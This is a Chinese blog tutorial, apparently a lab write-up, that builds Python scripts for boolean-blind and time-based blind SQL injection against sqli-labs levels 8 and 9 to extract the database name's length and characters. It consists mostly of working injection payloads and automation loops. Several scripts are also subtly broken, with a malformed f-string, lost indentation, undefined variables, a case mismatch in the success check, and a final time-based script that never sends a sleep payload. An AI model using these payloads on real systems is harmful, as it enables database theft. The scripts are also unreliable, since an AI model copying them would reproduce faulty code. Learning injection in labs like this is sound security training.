SQL注入脚本编写

2023-09-21 23:09:18


安装xampp,在conf目录下修改它的http配置文件,如下,找到配置文件:

在这里插入图片描述

修改配置文件中的默认主页,让xampp能访问phpstudy的www目录,因为xampp的响应速度比phpstudy快得多,所以用它做SQL注入脚本的服务器:

在这里插入图片描述

布尔盲注脚本

以sqli-labs第8关为例,在第8关进行测试,发现该关是字符型注入:

在这里插入图片描述

构建一个payload用来布尔盲注,判断数据库名称的长度:

?id=2' and length(database())=1 --+

URL为:

url="http://10.9.75.164/sqli-labs/Less-8/index.php"

构建一个循环注入的while循环(不知道循环次数时用while):

while True:
	i += 1
	payload= f"?id=2' and length(database())={i} -- "

构建完整的url并发送请求包:

full_url=url+ payload
print(full_url)
res= requests.get(url= full_url)

可以发现,在正确注入时页面会回显"You are in…",以此为中止的标志,输出长度:

if "You are in........."in res.text:
	print(f"[*] The length is (i}")
	break

完整脚本:

import requests

url="http://10.9.75.164/sqli-labs/Less-8/index.php"

i=0
while True:
	i += 1
	payload= f"?id=2' and length(database())={i} -- "
	
	full_url=url+ payload
	print(full_url)
	
	res= requests.get(url= full_url)
	
	if "You are in........."in res.text:
	print(f"[*] The length:(i}")
	break

输出结果如下,获得了数据库的长度为8:
在这里插入图片描述

然后用布尔盲注获取数据库名称,每个字符逐个获取:

ord方法将字符转ASCII码

string.printable.strip()生成可打印字符串

import string
c_set= string.printable.strip()
for i in range(con_len):
	for c in c_set:
		payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "
		
		full_url= url+ payload
		print(full_url)
		
		res = requests.get(url= full_url)
		if "you are in........." in res.text:
			con+= c
			print(f"[*] The content: {con}")

完整脚本如下:

import string
import requests

url="http://10.9.75.164/sqli-labs/Less-8/index.php"

i=0
while True:
	i += 1
	payload= f"?id=2' and length(database())={i} -- "
	
	full_url=url+ payload
	print(full_url)
	
	res= requests.get(url= full_url)
	
	if "You are in........."in res.text:
	print(f"[*] The length:(i}")
	break
c_set= string.printable.strip()
for i in range(con_len):
	for c in c_set:
		payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "
		
		full_url= url+ payload
		print(full_url)
		
		res = requests.get(url= full_url)
		if "you are in........." in res.text:
			con+= c
			print(f"[*] The content: {con}")

运行结果如下,成功遍历出数据库名称:

在这里插入图片描述

延时注入脚本

以sqli-labs第9关为例,经过测试这关无报错注入、布尔盲注和联合查询,只能用延时注入,页面有延迟:

在这里插入图片描述

和布尔盲注思路一样,先获取数据库名称的长度,再获取内容,用if和sleep函数构造一个payload 如下:

payload="?id=1' and if(length(database())=1, sleep(5),1) -- "

延时注入脚本和布尔盲注思路类似,不同的是,延时注入脚本构建了一个超时函数,然后用if语句来判断有延时注入的URL,如果请求正常,就将请求正文返回,并在while循环中和payload拼接构成完整的url并输出,如果超时,就输出此时payload的长度。

下面是完整脚本:

import requests
url="http://10.9.75.164/sqli-labs/Less-9/index.php"

con_len=0
con=""
def get_timeout(url):
	try:
		res  = requests.get(url= url,timeout= 3)
	except:
		return "timeout"
	else:
		return res.text
while True:
	con_len+= 1
	payload= f"?id=1' and if(length(database())={con_len},sleep(5),1) -- "
	
	full_url= url+ payload
	
	if "timeout" in get_timeout(full_url):
		print(f"[*] The length of content: {con_len}")
		break

如图,脚本执行后在超时时返回长度:

在这里插入图片描述

然后和布尔盲注遍历出数据库名称一样,用for循环做数据库名称遍历,将if语句中判断的内容改为timeout即可:

import requests
import string
url="http://10.9.75.164/sqli-labs/Less-9/index.php"

con_len=0
con=""
def get_timeout(url):
	try:
		res  = requests.get(url= url,timeout= 3)
	except:
		return "timeout"
	else:
		return res.text
while True:
	con_len+= 1
	payload= f"?id=1' and if(length(database())={con_len},sleep(5),1) -- "
	
	full_url= url+ payload
	print(full_url)
	
	if "timeout" in get_timeout(full_url):
		print(f"[*] The length of content: {con_len}")
		break
c_set= string.printable.strip()
for i in range(con_len):
	for c in c_set:
		payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "
		
		full_url= url+ payload
		
		res = requests.get(url= full_url)
		if "timeout" in res.text:
			con+= c
			print(f"[*] The content: {con}")

运行结果如下,成功获得数据库名称:

在这里插入图片描述

更多推荐

大数据之Hadoop

大数据按顺序给出数据存储单位:bit、Byte、KB、MB、GB、TB、PB、EB、ZB、YB、BB、NB、DB。1Byte=8bit1K=1024Byte1MB=1024K1G=1024M1T=1024G1P=1024THadoopHadoop是一个能够对大量数据进行分布式处理的软件框架。分布式处理是指:比如有100

苹果CMS主题 MXonePro二开优化修复开源版影视网站源码

MXPro模板主题(又名:mxonepro)是一款基于苹果cms程序的一款全新的简洁好看UI的影视站模板类似于西瓜视频,不过同对比MxoneV10魔改模板来说功能没有那么多,也没有那么大气,但是比较且可视化功能较多简洁且有周更记录样式等多功能后台设置,类似预mxone魔改版的预告片功能,用来做影视站模板也是极好的,但之

【go语言】条件,选择,循环和特殊语句

if语句a:=10ifa>20{fmt.Printf("a大于20")}elseifa<10{fmt.Printf("a小于10")}else{fmt.Printf("a大于等于10,a小于等于20")}go语言的if语句和C语言的if语句的差不多,需要注意的是else和elseif要写在括号右边;go语言的if语句还

golang http

函数说明http.ServeMux是Go语言标准库中的一个多路复用器(multiplexer)。它用于路由和处理HTTP请求,将请求分发到相应的处理器函数。http.HandleFunc是Go语言标准库中的一个函数,用于注册处理器函数来处理HTTP请求。它是对http.ServeMux的简化封装,方便快速实现路由功能。

微信小程序通过 wxministore 实现类似于vuex的全局装填数据管理

首先我们打开终端引入依赖npminstallwxministore--save然后如果你是新版开发者工具就npmi构建一下如果你是老版本的微信开发者工具就打开右上角详情选择本地管理勾选使用npm模块然后在根目录下创建一个store.js当然建在哪是你自己决定的反正后面能引入到就好然后store.js编写代码如下impo

Java版分布式微服务云开发架构 Spring Cloud+Spring Boot+Mybatis 电子招标采购系统功能清单

项目说明随着公司的快速发展,企业人员和经营规模不断壮大,公司对内部招采管理的提升提出了更高的要求。在企业里建立一个公平、公开、公正的采购环境,最大限度控制采购成本至关重要。符合国家电子招投标法律法规及相关规范,以及审计监督要求;通过电子化平台提高招投标工作的公开性和透明性;通过电子化招投标,使得招标采购的质量更高、速度

MyBatis 缓存模块

文章目录前言缓存的实现Cache接口PerpetualCache缓存的应用缓存对应的初始化一级缓存二级缓存第三方缓存前言MyBatis作为一个强大的持久层框架,缓存是其必不可少的功能之一,Mybatis中的缓存分为一级缓存和二级缓存。但本质上是一样的,都是使用Cache接口实现的。缓存的实现Cache接口Cache接口

WebGL 初始化着色器

目录前言初始化着色器的7个步骤创建着色器对象(gl.createShader())gl.createShader()规范gl.deleteShader()规范指定着色器对象的代码(gl.shaderSource())gl.shaderSource()规范编译着色器(gl.compileShader())gl.compi

动力节点老杜JavaWeb笔记(全)

Servlet关于系统架构系统架构包括什么形式?C/S架构B/S架构C/S架构?Client/Server(客户端/服务器)C/S架构的软件或者说系统有哪些呢?QQ(先去腾讯官网下载一个QQ软件,几十MB,然后把这个客户端软件安装上去,然后输入QQ号以及密码,登录之后,就可以和你的朋友聊天了,就可以使用这个软件了。)C

为何学linux及用处

为何学linux及用处目前企业使用的操作系统无非就是国产类的,windows和linux类。我们要提升自己的技能,需要学习这两款。我记得在大学时期,学习过windows以及linux,但当时觉得又不常用,就学的模棱两可。毕业之后,你会发现,其实这两种操作系统是很主流的。为什么学?下面就是一些工作中遇到的例子分享一下。我

golang 结合 cobra 使用 chatgpt qdrant 实现 ai知识库 cli

golang结合cobra使用chatgptqdrant实现ai知识库cli流程将数据集通过openaiembedding得到向量+组装payload,存入qdrant用户进行问题搜索,通过openaiembedding得到向量,从qdrant中搜索相似度大于0.8的数据从qdrant中取出数据得到参考答案将问题标题+

热文推荐